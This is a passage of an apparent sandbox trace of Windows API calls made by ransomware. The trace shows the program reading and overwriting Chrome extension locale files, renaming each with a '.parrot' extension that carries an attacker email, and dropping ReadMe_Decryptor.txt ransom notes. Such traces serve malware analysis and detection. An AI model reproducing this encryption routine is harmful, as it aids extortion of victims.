dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0069.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.470] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x229, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.470] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.470] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.471] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.471] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x111, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x111, lpOverlapped=0x0) returned 1 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.471] GetLastError () returned 0x0 [0069.471] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0069.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03d0 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0069.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x238) returned 0x5d0518 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03d0 | out: hHeap=0x5b0000) returned 1 [0069.472] WriteFile (in: hFile=0x28c, lpBuffer=0x5d0518*, nNumberOfBytesToWrite=0x238, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0518*, lpNumberOfBytesWritten=0x18da44*=0x238, lpOverlapped=0x0) returned 1 [0069.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0069.473] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x229, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.473] CloseHandle (hObject=0x28c) returned 1 [0069.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03d0 [0069.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0518 [0069.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03d0 | out: hHeap=0x5b0000) returned 1 [0069.473] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0069.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0069.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0069.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d9b48 [0069.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0069.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0069.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0069.497] GetFileType (hFile=0x28c) returned 0x1 [0069.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0069.508] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.508] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6e6dc80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6e6dc80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.508] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6e47b20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0069.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0069.509] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.509] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.509] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0069.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.509] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x223, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.509] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.509] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.510] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.510] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10b, lpOverlapped=0x0) returned 1 [0069.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.511] GetLastError () returned 0x0 [0069.511] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0069.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0069.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03a0 [0069.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0069.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0069.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0069.512] WriteFile (in: hFile=0x28c, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0069.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0069.512] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x223, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.512] CloseHandle (hObject=0x28c) returned 1 [0069.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03a0 [0069.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d04e8 [0069.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0069.513] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0069.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0069.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0069.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d9b48 [0069.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0069.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0069.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0069.529] GetFileType (hFile=0x28c) returned 0x1 [0069.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0069.539] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.539] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6eb9f40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6eb9f40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.539] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6e93de0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0069.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0069.541] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0069.541] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5418920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5418920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb54b0ea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb54b0ea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5607b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5607b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb575e760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb575e760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb57aaa20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb57aaa20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 